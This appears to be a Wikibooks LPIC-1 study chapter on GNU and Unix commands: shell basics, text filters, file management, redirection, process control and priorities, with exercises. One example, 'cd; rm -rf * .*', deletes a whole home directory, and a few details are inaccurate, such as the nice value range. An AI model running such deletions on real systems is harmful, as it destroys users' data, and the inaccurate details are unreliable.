LPI Linux Certification/LPIC1 Exam 101/GNU & Unix Commands

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== Section Overview ==

* 1.103.1 Work on the command line
* 1.103.2 Process text streams using filters
* 1.103.3 Perform basic file management
* 1.103.4 Use streams, pipes, and redirects
* 1.103.5 Create, monitor, and kill processes
* 1.103.6 Modify process execution priorities
* 1.103.7 Search text files using regular expressions
* 1.103.8 Perform basic file editing operations using VI

* Unix and Linux

== Unix and Linux ==

=== Overview ===

Unix is the original Internet Operating System (NFS, TCP/IP, RPC, ...).
Linux is a Unix clone written from scratch by Linus Torvalds with assistance from a world wide team of developers across the Net.
Properties of both systems are:
* Portable, multi-user, multiprocessing
* Device-independent input/output
* Shared resources, high performance and highly secure
* Line commands
* GUI
Linux aims toward POSIX compliance and supports also other standard API's such as BSD and SVR4.
Linux has all the features you would expect in a modern Unix, including true multitasking/multiple-users, virtual memory, shared libraries, demand loading, shared copy-on-write executables, proper memory management and TCP/IP networking.

More and more companies and organizations are selecting Linux because of its performance, low cost, and royalty free license.

==== Unix and Linux ====

Unix is the original Internet Operating System written in 1970 developed at A&amp;T Bell Labs.
Distributed freely to government and universities.
Different entities did support different distributions.
* System V
* BSD
* SCO
Most varieties of Unix carry copyright licenses.

Linux was released in 1991 by Linus Torvalds.
The model of Linux licence is copy left from GPL.
Linux implement most of the System V and BSD Unix commands.
Use the man pages to determine the version.

==== Logging In and Out ====

The logging In session is the first step to access a Linux system.
You need a login ID and a password to be able to start using the system.
The login ID root is the super user ID that has all privileges, normally assigned to the System Administrator.
When a log in session is successful it will set some environment variables and start the shell that has been assigned to the login ID account.

Examples of variables set at log in time:
$HOME, $SHELL, $PATH, and more.
By changing the file /etc/login.defs the administrator can customize some login parameters and variables for all the users.

Examples of some of them:
 UID_MIN 500
 UID_MAX 60000
 UMASK 022
 ENV_PATH /usr/local/bin:/usr/bin:/bin
To logout use the exit or logout command.

==== Password ====

Nobody can see your password, not even the administrator.
To change passwords for users or groups, use passwd.

 passwd [options]

Common options:
* -l, -u : Lock and unlock an account.
* -g [| r]: Used for group. 
* -g set a password for group and -r removes it.
* -x|n : Maximum and minimum number of days a password remain valid.

As a general rule a password must:
* Have a minimum length
* Not contain any English language words
* Contain non-alphanumeric characters
* Contain a mixture of uppercase and lower case letters.

==== User information ====

For every user account, there is a line defined in the file &lt;code&gt;/etc/passwd&lt;/code&gt;. The encrypted password is stored in &lt;code&gt;/etc/shadow&lt;/code&gt;. The format of &lt;code&gt;/etc/passwd&lt;/code&gt; is:

 root:x:0:0:root:/root:/bin/bash
 bin:x:1:1:bin:/bin:/bin/bash
 daemon:x:2:2:Daemon:/sbin:/bin/bash
 yann:x:500:100:Yann Forget:/home/yann:/bin/bash

The x field is the old location for the password.

The format of &lt;code&gt;/etc/shadow&lt;/code&gt; is:

 root:IMXweyiV816gg:11996:0:10000::::
 bin:!*:8902:0:10000::::
 daemon:*:8902:0:10000::::
 yann:GoIM8j1S.IuTY:11996:0:99999:7:::

The * for the encrypted password means there is no password defined yet.
The ! Before the encrypted password means the account is locked.

==== Group information ====

For every group of users there is a line in file &lt;code&gt;/etc/group&lt;/code&gt;. The encrypted password is stored in &lt;code&gt;/etc/gshadow&lt;/code&gt;. The format of &lt;code&gt;/etc/group&lt;/code&gt; is:

 root:x:0:root
 bin:x:1:root,bin,daemon
 daemon:x:2:
 video:x:33:yann

The format of /etc/gshadow is:

 root:*:root:root
 bin:*:root:root
 daemon:*:root:root
 video:*:root:root,yann

Passwords for group are not often implemented since you have to pass to members of a group the password.

==== Misc. Commands ====

To get information on a logging In session, use id.

 id [options] [username]

Common options:
-g : Print only the group ID.
-u : Print only the user ID.

Example:

 $ id
 uid=0(root) gid=0(root) groups=0(root), 1(bin), 14(uucp), 15(shadow),16(dialout)

To run a shell with another user ID and group ID, use su.

 su [options] [username]

Common options:
-s : Select another shell.

Example:

 $ su toto
 passwd:

==== Shell ====

A Shell is a command line interpreter and:
* Prompts for commands.
* Interprets command which can include:
* I/O redirection, pipes, filename generation, etc.
* Executes commands.
* Executes scripting language.

There are several popular shells:
* sh: Bourne shell, the standard scripting shell.
* csh: Berkeley shell, job control, command history, alias.
* ksh: Korn shell, Bourne syntax with Berkeley features.
* bash: Bourne Again shell, free, Korn-like shell.
* t csh: Free, Berkeley clone with many extensions.

Most shells let you customize your prompt and environment.
For bash the prompt variable is PS1.
For bash the file that can be used for the customization of the environment are:
* .bashrc  Executed for each new bash session
* .bash_profile Executed at logging In time
* .bash_logout Executed at logging Out time

=== Exercises ===

* [[LPI Linux Certification/LPIC1 Exam 101/Exercises results|Exercises results]]

== Process text streams using filters ==

=== Overview ===

Description: ''Candidates should should be able to apply filters to text streams. Tasks include sending text files and output streams through text utility filters to modify the output, and using standard UNIX commands found in the GNU textutils package.''

Key &lt;b&gt;files&lt;/b&gt;&lt;i&gt; terms&lt;/i&gt; and&lt;code&gt; utilities&lt;/code&gt; include:&lt;br&gt;
&lt;code&gt;cat&lt;br&gt;
cut&lt;br&gt;
expand&lt;br&gt;
fmt&lt;br&gt;
head&lt;br&gt;
join&lt;br&gt;
nl&lt;br&gt;
od&lt;br&gt;
paste&lt;br&gt;
pr&lt;br&gt;
sed&lt;br&gt;
sort&lt;br&gt;
split&lt;br&gt;
tac&lt;br&gt;
tail&lt;br&gt;
tr&lt;br&gt;
unexpand&lt;br&gt;
uniq&lt;br&gt;
wc&lt;/code&gt;&lt;br&gt;

=== Pattern matching and wildcards ===

Wildcard is a pattern matching mechanism for filenames.
The purpose of wildcard is to increase productivity:
Locate files that you don't fully remember.
Locate files that have something in common.
Work with a group of files rather than individual.

The shell interprets these special characters:
 ! @ # $ % ^ &amp; * ( ) { } [ ] | \ ; ~ ' &quot; ` ?

The characters used for wildcard are:
 ?  *  [  ]  ~

If you use the wildcard characters the shell will try to generate a file from them.
Try the following:
 echo all files *

Special wildcard characters
 ? match any one character.
 * Any string
 [abcfghz] One char set
 [a-z] One char in range
 [!x-z] Not in set
 ~ Home directory
 ~user User home directory

Examples:
 ? One character filenames only
 [aA]??? Four characters, starting with a or A.
 ~toto pathname of toto home directory
 [!0-9]* All string not starting with a number.

What about these commands?
 ls [a-z][A-Z]??.[uk]
 ls big*
 ls a???a
 ls ??*

=== Shell and wildcards ===

A shell command line can be a simple command or more complex.
 ls -l [fF]*
 ls *.c | more
 ls -l [a-s]* | mail `users`

The first event in the shell is to interpret wildcards.
Only the shell interprets unquoted wildcards.

=== Quoting and Comments ===

==== Quoting ====

Do quote to prevent the shell to interpret the special characters and to transform multiple words into one shell word.

* 'string' Nearly everything within the quote is literal:
 echo 'He did it, &quot;Why?&quot;'
 echo 'Because &quot;#@&amp;^:-)&quot;'
 echo '$VAR='Me

* &quot;string&quot; Like 'string' but interprets $, \, !:
 echo &quot;What's happening?&quot;
 echo &quot;I don't know but check this $ANSWER&quot;

* The backslash \ treats the following character as literal:
 echo \$VAR=Me
 echo What\'s happening\?

* How could we display the backslash?  With the following line:
 echo \\

==== Comments ====

You can add comments in a command line or a script.
Use the character #.
A white space must immediately precede #.

Examples:
 echo $HOME # Print my Home directory
 echo &quot;### PASSED ###&quot; # Only this part is a comment
 echo The key h#, not g was pressed.

Commands

* cat, tac: Concatenate files and print on the standard output.
* head, tail: Output the first and last part of files.
* nl: Number lines of files.
* wc: Print the number of bytes, words, and lines in files.
* cut: Remove sections from each line of files.
* tr: Translate or delete character.
* expand, unexpand: Convert tabs to spaces and space to tabs.
* paste: Merge lines of files.
* join: Join lines of two files on a common field.
* uniq: Remove duplicate lines from a sorted file.
* split: Split a file into pieces.
* fmt: Simple optimal text formatter.
* pr: Convert text files for printing.
* sort: Sort lines of text files.
* od: Dump files in octal and other formats.

=== Concatenate files ===

To concatenate files, use cat.
 cat [options] [files...]
 tac [options] [files...]

The results are displayed to the standard output.

Common options:
 -s: never more than one single blank line.
 -n: number all output line.

Examples:

 cat file  # Display file to the stdout.
 cat chapter* # Display all chapters to stdout.
 cat -n -s file # Display file with line number with single blank line.

To concatenate files in reverse order, use tac.

=== View the beginning and the end of a file ===

To view only few lines at the beginning or at the end of a file, use head or tail.
 head [options] [files...]
 tail [options] [files...]

The results are displayed to the standard output.

Common options:
 -n: number of lines to be displayed. (head and tail)
 -c: number of bytes to be displayed. (head and tail)
 -f: append output. (tail)
 -s #: iteration for new data every # sec. (tail)

Examples:

 head file # Display the first 10 lines of file.
 head -n 2 file # Display the first 2 lines of file.
 tail -c 10 file # Display the last 10 bytes of file.
 tail -f -s 1 /var/log/messages 
 ''Display the last 10 lines of messages, block and check for new data every second.''

=== Numbering file lines ===
To add the line number to a file, use nl.
 nl [options] [files...]

The results are displayed to the standard output.

Common options:
 -i #: increment line number by #.
 -b: numbering style:
    a: number all lines
    t: non empty line
    n: number no line
 -n: numbering format:
    rz: right justified
    ln: left justified.

Examples:
 nl file # Add the line number in each line in the file.
 nl -b t -n rz file # Add the line number to each non-empty line with zero-completed format.

=== Counting items in a file ===

To print the number of lines, words and characters of a file, use wc.
 wc [options] [files...]

The results are displayed to the standard output.

Common options:
 -c: the byte size.
 -m: the number of character.
 -w: the number of word.
 -l: the number of line.
 -L: length of the longest line.

Examples:
 wc *.[ch] # Display the number of lines, words, and characters for all files .c or .h.
 wc -L file # Display the size of the longest line.
 wc -w file # Display the number of words.

=== Cutting fields in files ===

To remove sections from each line of files, use cut.
 cut [options] [files...]

The results are displayed to the standard output.

Common options:
 -b #: Extract the byte at position #.
 -f #: Extract the field number #.

Examples:
 cut -b 4 file # Extract and display the 4th byte of each line of file. 
 cut -b 4,7 file # Extract and display the 4th and 7th byte of each line.
 cut -b -2,4-6, 20- file
 # Extract character 1 and 2, 4 to 6 and 20 to the end of the line for each line of file.
 cut -f 1,3 -d: /etc/passwd # Extract the username and ID of each line in /etc/passwd.

The default delimiter is TAB but can be specified with -d.

=== Characters conversion ===

To translate the stdin to stdout, use tr.
 tr [options] SET1 SET2

Common options:
-d: delete character in SET1.
-s: replace sequence of character in SET1 by one.

Examples:
 tr ‘a‘ 'A'  # Translate lower a with A
 tr ‘[A-Z]’ ‘[a-z]’ # Translate uppercase to lowercase
 tr -d ‘ ‘ # Delete all spaces from file

To convert tabs to spaces, use expand and to convert spaces to tabs, use unexpand.
 expand  file
 unexpand file

=== Lines manipulation ===

To paste multiple lines of files, use paste.
 paste [options] [files...]

Common options:
 -d #: delimiter: Use # for the delimiter.
 -s: serial: paste one file at the time.

Examples:
 paste f1 f2 # Display line of f1 followed by f2.
 paste -d: file1 file2 # Use ':' for the delimiter.

To join multiple lines of files, use join.
 join file1 file2 

To remove duplicated line, use uniq.
 uniq [options] [files...]

Common options:
 -d: only print duplicated lines.
 -u: only print unique lines.

Examples:
 uniq -cd file # Display the number of duplicated line.

Splitting files

To split big files, use split.
 split [options] file

Common options:
 -l #: split every # lines.
 -b #: split file in bytes or b for 512 bytes, k for 1Kbytes, m for 1 Mbytes.

Examples:
 split -l 25 file  # Split file into 25-line files.
 split -b 512 file # Split file into 512-byte files.
 split -b 2b file  # Split file into 2*512-byte files.

=== Formatting for printing ===

To format a file, use fmt.

 fmt [options] [files...]

Common options:
-w #: maximum line width.

Examples:

 $ fmt -w 35 file # Display 35-character lines width.

To format a file for a printer, use pr.

 pr [options] [files...]

Common options:
-d: double space.

Examples:

 $ pr -d file # Format file with double-space.

=== Sort lines of text files ===
To sort the lines of the names files, use sort.

sort [options] file

The results are displayed to the standard output.

Common options:
 -r : Reverse
 -f : Ignore case
 -n : Numeric
 -o file: Redirect output to file
 -u : No duplicate records
 -t; : Use ';' as delimiter, rather than tab or space.

Examples:
 sort file -r
 sort file -ro result

=== Binary file dump ===

To dump a binary file, use od.
 od [options] file

The results are displayed to the standard output and start with an offset address in octal.

Common options:
 -c: each byte as character
 -x: 2-byte in hex
 -d: 2-byte in decimal
 -X: 4-byte in hex.
 -D: 4-byte in decimal.

Examples:

 $ od -cx /bin/ls
 0000000 177   E   L   F 001 001 001  \0  \0  \0  \0  \0  \0  \0  \0  \0
        457f 464c 0101 0001 0000 0000 0000 0000
 0000020 002  \0 003  \0 001  \0  \0  \0     224 004  \b   4  \0  \0  \0
        0002 0003 0001 0000 9420 0804 0034 0000
 0000040   °   ²  \0  \0  \0  \0  \0  \0   4  \0      \0 006  \0   (  \0
        b2b0 0000 0000 0000 0034 0020 0006 0028
 0000060 032  \0 031  \0 006  \0  \0  \0   4  \0  \0  \0   4 200 004  \b
        001a 0019 0006 0000 0034 0000 8034 0804

=== Exercises ===

# Use wildcard characters and list all filenames that contain 'x' followed by 'in' in the /etc directory.
# Use wildcard characters and list all filenames that start with any character between 'a' and 'e' that have at least two more characters and do not end with a number.
# Use wildcard characters and list all filenames of exactly 4 characters and all filenames starting with an uppercase letter. Do not descend into any directory found.
# Use wildcard characters and list all files that contains 'sh' in /bin.
# Display you environment variable HOME preceded by the string &quot;$HOME value is:&quot; 
# Display the contents of $SHELL with two asterisk characters before and after it.
# How would you display the following string of characters as is with echo using double quote and \.
#* @ # $ % ^ &amp; * ( ) ' &quot; \
# Compose echo commands to display the following two strings:
#* That's what he said!
#* 'Never Again!' he replied.
# Display the number of words in all files that begin with the letter h in the /etc directory.
# How would you send a 2M file with two 1.44M floppy. How would you put back together the pieces of the split file?
# What is the command to translate the : delimiter in /etc/password by #?

* [[LPI Linux Certification/LPIC1 Exam 101/Exercises results|Exercises results]]

== Perform basic file management ==

=== Overview ===

Description: ''Candidates should be able to use the basic UNIX commands to copy, move, and remove files and directories. Tasks include advanced file management operations such as copying multiple files recursively, removing directories recursively, and moving files that meet a wildcard pattern. This includes using simple and advanced wildcard specifications to refer to files, as well as using find to locate and act on files based on type, size, or time.''

Key &lt;b&gt;files&lt;/b&gt;&lt;i&gt; terms&lt;/i&gt; and&lt;code&gt; utilities&lt;/code&gt; include:&lt;br&gt;
&lt;code&gt;cp&lt;br&gt;
find&lt;br&gt;
mkdir&lt;br&gt;
mv&lt;br&gt;
ls&lt;br&gt;
rm&lt;br&gt;
rmdir&lt;br&gt;
touch&lt;/code&gt;&lt;br&gt;
&lt;i&gt;file globbing&lt;/i&gt;&lt;br&gt;

cp: Copy files and directories.
ls: List directory contents.

=== Create and Remove directories ===

To create a directory, use mkdir.

 mkdir [options] dir

Common options:
 -m  mode: set permission mode. Default use umask.
 -p  parent: create parent directory as needed.

Examples:
 mkdir -m 0700 bin
 mkdir -p bin/system/x86

To delete an empty directory, use rmdir.

 rmdir [options] dir

Common options:
 -p  parent: remove empty subdirectories.

Examples:
 rmdir  tmp
 rmdir -p bin/system/x86

=== Copy files and directories ===
To copy one file to another, or to a directory, use cp.

 cp [options] source target

Source and target can be a file or a directory.

Common options:
 -i  interactive: prompt to overwrite
 -r  recursive: copy the subdirectories and contents. Use -R for special files.
 -f  force: force the overwriting

The default is to silently clobber the target file.
Does not alter the source.

Examples:
 cp *.[a-z] /tmp
 cp readme readme.orig
 cp  ls /bin
 cp -ri bin/* /bin

=== Move &amp; Rename files ===

To rename a file or directory or to move a file or directory to another location, use mv.
 mv [options] source target
Source and target can be a file or a directory.

Common options:
 -i  interactive: prompt to overwrite
 -f  force: force the overwriting
 -v verbose
The default is to silently clobber the target file.

Examples:
 mv *.[a-z] /tmp
 mv readme readme.orig
 mv ls /bin
 mv -fi bin/* /bin

=== Listing filenames and information ===

The command to list files in the current directory is ls.
 ls [options] [filenames]
Common options are:
 -l for a long format
 -F Append a file type character
 -a All files, including hidden
 -R Recursive listing of subtree
 -d Do not descend into directory

The ls is equivalent to the dir command on DOS.

Examples of ls output:
 $ ls -l /bin/ls
 -rwxr-xr-x    1   root  root  46784 mar 23  2002 /bin/ls
 $ ls -ld /bin
 drwxr-xr-x    2 root   root   2144 nov  5 11:55 /bin
 $ ls -a .
 .bash_history .bash_profile .bashrc ...
 $ ls -dF /etc .bashrc /bin/ls
 .bashrc  /bin/ls*  /etc/

=== File types ===

The long format means:
 $ ls -l /etc/hosts    #List a long format of the file hosts
 -rw-r—r-- 1 root root 677 Jul 5 22:18 /etc/hosts
File content and location
Linux/Unix does not distinguish file by filename extension, like Windows.
To determine the file content use file.
 $ file /etc .bashrc /bin/ls /dev/cdrom
 /etc:       directory
 .bashrc:    ASCII English text
 /bin/ls:    ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), stripped
 /dev/cdrom: symbolic link to /dev/hdc

To determine if a command is a built-in shell command or a program, use type, and use which to find its location.
 $ type cp cd ls which type
 cp is /bin/cp
 cd is a shell builtin
 ls is aliased to `ls $LS_OPTIONS'
 which is aliased to `type -p'
 type is a shell builtin
 $ which cut
 /usr/bin/cut

=== Creating and using filenames ===

Filenames can be created with:
* I/O redirection
 cat chapter1 chapter2 &gt; book
* An editor, such as vi.
 vi mynewfile
* Many of the Unix utilities
 cp file newfile
* An application
 netscape
* The touch command, which creates empty files (or updates the &quot;date modified&quot; of existing files)
 touch memo

The valid filename may have:
* Maximum 255 characters per filename
* Case sensitive 'A' and 'a' are different
* Any character except forward '/'
* Recommended alphanumeric characters as well as plus, minus, and underscore characters.
* Characters to avoid
* Hypen character.
* touch my-file -lt
* White space.
 touch more drink
 touch &quot;more drink&quot;
* Most other special characters !@#$%^&amp;*():;&quot;'}{|\&lt;,&gt;.?~`
 touch memo*

=== Remove files or directories ===

To remove files or subtree directories, use rm.
 rm [options] files
Files can be a file or a directory.

Common options:
 -i  interactive: prompt to for each removal
 -f  force: force the overwriting
 -r recursive: remove subtree directories and contents
There is no unremove or undelete command.

Examples:
 rm *.[a-z]
 rm readme readme.orig
 rm  ls /bin
 rm -rfi /bin
 cd; rm -rf *  .* # !! this removes all files of in the home directory of the current user, as well as those in the subdirectories !!

=== Locating files in a subtree directory ===

To search for a file in a subtree directory, use find.
 find [subtrees] [conditions] [actions]
The command can take multiple conditions and will search recursively in the subtree.

Some  possible conditions are:
 -name [FNG] # Search fo the FNG name
 -type c  # Type of file [bcdfl]
 -size [+-]# # Has a +- size in blocks (c:bytes,k:kilo)
 -user [name] # Own by user
 -atime [+-]# # Accessed days ago +n means not been accessed for the last n days -n means been accessed the last ndays.
 -mtime [+-]# # Modified days ago
 -perm nnn # Has permision flags nnn 
Some  possible actions are:
 -print  # Print the pathname
 -exec cmd {} \; # Execute cmd on the file
 -ok cmd {} \; # Same as -exec but ask first

Examples
 find . -name '*.[ch]' -print
 find /var /tmp . -size +20 -print
 find ~ -type c -name '*sys*' -print
 find / -type f -size +2c -exec rm -i {} \;
 find / -atime -3 -print
 find ~jo ~toto -user chloe -exec mv {} /tmp \;

To locate a binary, source file, or man pages, use whereis.
 Whereis [options]
Common options:
 -b: Search only for binaries.
 -m: Search only for manual sections.
 -s: Search only for sources.
Examples:
 $ whereis host
 host: /usr/bin/host /etc/host.conf /usr/share/man/man1/host.1.gz
 $ whereis -m host
 host: /usr/share/man/man1/host.1.gz

To locate a file located somewhere defined by the PATH variable, use which.
 $ which -a ls
 /bin/ls
The -a will look for all possible matches in PATH, not just for the first one.

=== Exercises ===

# Compose an interactive command to remove all .tmp file in your home directory. Respond y to every prompt.
# List all the files in users home directories ending with .pdf that are bigger than 50 blocks and have not been accessed for a month.
# Create a file file.h that will contain all the filenames ending with .h found in the /usr directory.
# Do a touch on all the c files found in /usr/src/packages directory.
# What are the default permissions when you create a new file and a new directory?
# How would you create a new file or directory that contains a space in the filename? (Example: 'new dir')
# What is the command to remove all the files of type char and block in your home directory?
# How to find the location of the programm find ?
# Delete all files in /tmp witch are not owned by root and have not been accessed for a week.

* [[LPI Linux Certification/LPIC1 Exam 101/Exercises results|Exercises results]].

== Use streams, pipes, and redirects ==

=== Overview ===

Description: ''Candidates should be able to redirect streams and connect them in order to efficiently process textual data. Tasks include redirecting standard input, standard output, and standard error, piping the output of one command to the input of another command, using the output of one command as arguments to another command and sending output to both stdout and a file.''

Key &lt;b&gt;files&lt;/b&gt;&lt;i&gt; terms&lt;/i&gt; and&lt;code&gt; utilities&lt;/code&gt; include:&lt;br&gt;
&lt;code&gt;tee&lt;br&gt;
xargs&lt;br&gt;
&lt;&lt;br&gt;
&lt;&lt;&lt;br&gt;
&gt;&lt;br&gt;
&gt;&gt;&lt;br&gt;
|&lt;br&gt;
` `&lt;/code&gt;

=== Standard input and standard output ===

For each command executed in a terminal, there are:
a standard input value 0. (default keyboard)
a standard output value 1.(default terminal)
and a standard output for the errors value 2. (default terminal).

Each channel can also be identified by an address:
&amp;0 for input,
&amp;1 for output, 
And &amp;2 for errors.

Each channel [n] can be redirected.
[n]&lt; file: Default value of n is 0 and it reads standard input from file.
[n]&gt; file: Default value is 1 and it sends standard output to file, overwriting the file if it exists. (clobber)
[n]&gt;&gt;file: Default value is 1 and it appends standard output to file.
&lt;&lt;word: Read standard input until word is reached.
`command`: Substitute the command name by the result.

Examples:

 $ pwd &gt; file  # out=file in=none error=terminal.

 cat chap* &gt;book # out=book in=none error=terminal.

 mv /etc/* . 2&gt;error # out=terminal in=none error=error.

 echo end of file &gt;&gt; book # out=book in=none error=terminal.

 set -o noclobber # Shell does not clobber existing files.

 ls &gt; list 2&gt;&amp;1 # ls and errors are redirected to list.

 ls 2&gt;&amp;1 &gt; list # Errors are redirected to standard output and ls output is redirected to list.

 cat `ls /etc/*.conf` &gt; conffile 2&gt;&gt;/tmp/errors

''Concatenate all the configuration files from /etc dir in  conffile and append errors in file /tmp/errors.''

Redirecting with pipes

Pipes are an efficient way to  apply multiple commandes concurrently.

 command1 | command2

The standard output of command1 will be piped to the standard input of command2.
The standard error is not piped.

Examples:
 ls -l /dev | more
 ls -l /etc/*.conf | grep user | grep 500
 ls -l /bin | mail `users`

To redirect the standard output to a file and to the terminal at the same time, use tee.
 ls -l /dev | tee file
 ls -l /etc | tee -a file # Append to the file

Building arguments

The xargs utility constructs an argument list for a command using standard input.

 xargs [options] [command]

The xargs command creates an argument list for command from standard input. It is typically used with a pipe.

Common options:
-p: prompt the user before executing each command.

Examples:
 ls f* | xargs cat # Print to standard output the content of all files starting with f.
 find ~ -name 'proj1*' print | xargs cat

''Search in the Home directory for files starting with proj1 and send it to the standard input of cat.''

Use the /dev/null device file to discard output or error messages.

Try the following:
 grep try /etc/*
 grep try /etc/* 2&gt; /dev/null
 grep try /etc/* &gt; /dev/null 2&gt; /dev/null

=== Exercises ===

# Create a file list.bin that will contain all the filenames from /bin directory.
# Write a command that will append the list of files from /usr/local/bin to the file named list.bin and discard any error output.
# Split list.bin file into files that are 50 lines long and remove list.bin.
# From the splitted files create back list.bin. but with inversed order.
# Simplify the following commands:
 ls *.c | xargs rm
 ls [aA]* | xargs cat
 cat `ls *.v` 2&gt;/dev/null
# Use find to do the following command:
 more `ls *.c`
# Write a command that will create a file list.sbin with the contents of /sbin and at the same time display it to standard output.
# Create a file that within the filename you include the creation time.
# Create a file that will contain all the filename in reverse order with extension .conf from the /etc directory.

* [[LPI Linux Certification/LPIC1 Exam 101/Exercises results|Exercises results]].

== Create, monitor, and kill processes ==

=== Overview ===

Description: ''Candidates should be able to manage processes. This includes knowing how to run jobs in the foreground and background, bring a job from the background to the foreground and vice versa, start a process that will run without being connected to a terminal and signal a program to continue running after logout. Tasks also include monitoring active processes, selecting and sorting processes for display, sending signals to processes, killing processes and identifying and killing X applications that did not terminate after the X session closed.''

Key &lt;b&gt;files&lt;/b&gt;&lt;i&gt; terms&lt;/i&gt; and&lt;code&gt; utilities&lt;/code&gt; include:&lt;br&gt;
&lt;code&gt;&amp;&lt;br&gt;
bg&lt;br&gt;
fg&lt;br&gt;
jobs&lt;br&gt;
kill&lt;br&gt;
nohup&lt;br&gt;
ps&lt;br&gt;
top&lt;/code&gt;

=== Create processes ===

A running application is a process.
Every processes have:
A process ID.
A parent process ID.
A current directory PWD.
A file descriptor table.
A program which it is executing.
Environment variables,  inherited from its parent process.
Stdin, stdou, and stderr
Other

Bash is a program that when it is executed becomes a process.
Each time you execute a command in a shell a new process is created.
Except for the buil-in shell command. They run in the shell context. Use type to check if a command is a built-in shell command.

Example
type cp ls which type
Monitor processes
Once the system is up and running from a terminal it is possible to see which processes are running with the ps program.
To display a long format of all the processes in the system, do:

 ps -Al
 F S   UID   PID  PPID  C PRI  NI ADDR SZ WCHAN  TTY          TIME CMD
 004 S     0     1     0  0  80   0 -   112 do_sel ?        00:00:04 init
 004 S     0   381     1  0  80   0 -   332 do_sel ?        00:00:00 dhcpcd
 006 S     0  1000     1  0  80   0 -   339 do_sel ?        00:00:00 inetd
 044 R     0  1524  1222  0  79   0 -   761 -      pts/3    00:00:00 ps

The ps program will display all the processes running and their PID numbers and other information.
To see a long format of the processes in your login session, do a:

 ps -l
 F S   UID   PID  PPID  C PRI  NI ADDR SZ WCHAN  TTY          TIME CMD
 000 S   500  1154  1139  0  80   0 -   724 wait4  pts/1    00:00:00 bash
 002 S   500  1285  1283  0  77   0 - 24432 wait_f pts/1    00:00:00 soffice.bin
 040 R   500  1442  1435  0  79   0 -   768 -      pts/4    00:00:00 ps
 F: Process Flags 002: being created, 040: forked but didn't exec, 400: killed by a signal.
 S: Process States: R: runnable, S: sleeping, Z: zompbie
 UID: User ID, PID: Process ID, PPID: Parent Process ID, C: Scheduler, PRI: priority
 NI: Nice value, SZ: size of routine, WCHAN: name of routine

=== Monitor processes ===

To monitor the processes in real-time, use top.
top
  9:20am  up  2:48,  4 users,  load average: 0.15, 0.13, 0.09
78 processes: 75 sleeping, 3 running, 0 zombie, 0 stopped
CPU states: 15.3% user,  0.3% system,  0.0% nice, 84.2% idle
Mem:   254896K av,  251204K used,    3692K free,       0K shrd,   27384K buff
Swap:  514072K av,       0K used,  514072K free                  120488K cached
  PID USER     PRI  NI  SIZE  RSS SHARE STAT %CPU %MEM   TIME COMMAND
 1517 rarrigon   0   0 40816  39M 17372 R    15.0 16.0   2:59 mozilla-bin
 1727 rarrigon  19   0   988  988   768 R     0.3  0.3   0:00 top
    1 root      20   0   220  220   188 S     0.0  0.0   0:04 init
    2 root      20   0     0    0     0 SW    0.0  0.0   0:00 keventd
RSS: The total amount of physical memory used by the task.
SHARE: The amount of shared memory used by the task.
%CPU: The task's share of  the  CPU  time.
%MEM: The task's share of the physical memory.
Once top is running it is also possible to execute interactive commands:
Type N to sort tasks by pid.
Type A to sort tasks by age (newest first).
Type P to sort tasks by CPU usage.
Type M to sort tasks by memory usage.
Type k to kill a process (prompted for pid).

=== Kill processes ===

The ps program will display all the processes running and their PID numbers.
Once the PID is known, it is possible to send signals to the process.
SIGSTOP to stop a process.
SIGCONT to continue a stopped process.
SIGKILL to kill a process.

The program to send a signal to a process is called kill.

 kill -SIGKILL [pid]
 kill -63 [pid]
 kill -l

By default a process is started in foreground and it is the only one to receive keyboard input. Use CTRL+Z to suspend it.

To start a process in background use the &amp;.
 bash &amp;
 xeyes &amp;

Job control

In a bash process it is possible to start multiple jobs.
The command to manipulate jobs are:
 jobs   # List all the active jobs
 bg %job  # Resume job in background
 fg %job  # Resume job in foreground
 kill %job # Kill background job

When bash is terminated all processes that have been started from the session will receive the SIGHUP signal.
This will by default terminate the process.

To prevent the termination of a process, the program can be started with the nohup command.

 nohup mydaemon

=== Exercises ===

* [[LPI Linux Certification/LPIC1 Exam 101/Exercises results|Exercises results]].

== Modify process execution priorities ==

=== Overview ===

Description: ''Candidates should should be able to manage process execution priorities. Tasks include running a program with higher or lower priority, determining the priority of a process and changing the priority of a running process.''

Key &lt;b&gt;files&lt;/b&gt;&lt;i&gt; terms&lt;/i&gt; and&lt;code&gt; utilities&lt;/code&gt; include:&lt;br&gt;
&lt;code&gt;nice&lt;br&gt;
ps&lt;br&gt;
renice&lt;br&gt;
top&lt;/code&gt;

=== Priorities ===

To start a command with an adjusted priority, use nice.&lt;br /&gt;
'''nice -n +2 [command]'''&lt;br /&gt;
'''nice -n -19 [command]'''&lt;br /&gt;
The program '''nice''' changes the base time quantum of the scheduler.&lt;br /&gt;
i.e. it informs the scheduler how important a process is, which is used as a guide to how much CPU time to give it.&lt;br /&gt;

For example if you wanted to listen to music whilst ripping another CD, you could use '''nice -n +5 oggenc''', you shouldn’t get any “hops” in the music playback, as the scheduler “knows” the oggenc process is less important. &lt;br /&gt;

The value can go from -19 (highest priority) to +20 (lowest priority).&lt;br /&gt;
The default value is 0. Only root can set a value below zero.&lt;br /&gt;&lt;br /&gt;
To modify the priority of a running program, use renice.&lt;br /&gt;
'''renice +1 -u root'''&lt;br /&gt; # Change the priority for all root processes.&lt;br /&gt;
'''renice +2 -p 193 '''&lt;br /&gt; # Change the priority for PID 193&lt;br /&gt;

=== Exercises ===

* [[LPI Linux Certification/LPIC1 Exam 101/Exercises results|Exercises results]]

# Which user and root processes are using most of the memory?
# Open two terminals. In one terminal type the following:

 while [ 1 ]
 do
 echo -n The date is:;
 date;
 done

From the other terminal see that you can stop and continue the print out.

3) Same start as 2) but, make the print out to stop for 3[s] and to continue for 1[s] repeatedly.
4) Make a shell script to renice all process called apache to a 19 value.
5) Do a print from ps formatted as: “username”, “command”, “nice value”
6) Kill all the process called “bash” and owned by user polto..

== Regular Expression ==

=== Overview ===

Description: ''Candidates should be able to manipulate files and text data using regular expressions. This objective includes creating simple regular expressions containing several notational elements. It also includes using regular expression tools to perform searches through a filesystem or file content.''

Key &lt;b&gt;files&lt;/b&gt;&lt;i&gt; terms&lt;/i&gt; and&lt;code&gt; utilities&lt;/code&gt; include:&lt;br&gt;
&lt;code&gt;grep&lt;br&gt;
regexp&lt;br&gt;
sed&lt;/code&gt;

=== Pattern matching ===

There are two kinds of pattern matching:
* Wildcards (File Name Generation)
* Regexp (Regular Expression)

Wildcard characters  are mainly applied when they are used in the current directory or subdirectories.
When wildcard characters *, ?, [ - ], ~, and ! are used in regexp they no longer generate filenames.

Some of the utilities that use regexp are:
* grep, egrep
* vi
* more
* sed
